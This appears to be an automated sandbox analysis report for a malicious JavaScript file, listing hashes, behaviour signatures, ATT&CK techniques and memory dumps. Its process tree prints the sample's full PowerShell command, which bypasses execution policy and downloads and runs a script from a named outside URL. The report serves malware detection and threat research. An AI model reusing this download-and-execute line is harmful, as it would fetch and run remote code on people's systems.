a1cad1cb52b72c86925e612e05ef7e25372b880c46ad26091879206d6149c8af

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
05-03-2024 02:36

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General

Target

a1cad1cb52b72c86925e612e05ef7e25372b880c46ad26091879206d6149c8af.js
Size

72KB
MD5

f3f9f0917ae1f7eccab673d03b7920b7
SHA1

25199b53272a48bfec65b372f8ea380c2940730b
SHA256

a1cad1cb52b72c86925e612e05ef7e25372b880c46ad26091879206d6149c8af
SHA512

5fb9673ec5c3cdf5e5dc5d2c835733d25fbcfa24e466d49bc06ac4a951f29ae3809de93333689491a63c006a0628d23a6d543b713d978ac87e96badd2644383a
SSDEEP

1536:um22QRkoft4s0rkn5oEV3KQ4G1QrFylAe0wucR58Xh1G/fQF:um2jEYVDdQrFyl4ub8Xh1G/fQF

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://compactgrill.hu/care.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2976	powershell.exe
4	2976	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2976	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2976	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1148 wrote to memory of 2976	1148	wscript.exe	28
PID 1148 wrote to memory of 2976	1148	wscript.exe	28
PID 1148 wrote to memory of 2976	1148	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\a1cad1cb52b72c86925e612e05ef7e25372b880c46ad26091879206d6149c8af.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://compactgrill.hu/care.txt')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2976-4-0x000000001B870000-0x000000001BB52000-memory.dmp

Filesize
2.9MB

Download
memory/2976-5-0x0000000002030000-0x0000000002038000-memory.dmp

Filesize
32KB

Download
memory/2976-6-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

Filesize
9.6MB

Download
memory/2976-8-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2976-10-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2976-9-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2976-7-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2976-11-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

Filesize
9.6MB

Download
memory/2976-12-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2976-13-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2976-14-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

Filesize
9.6MB

Download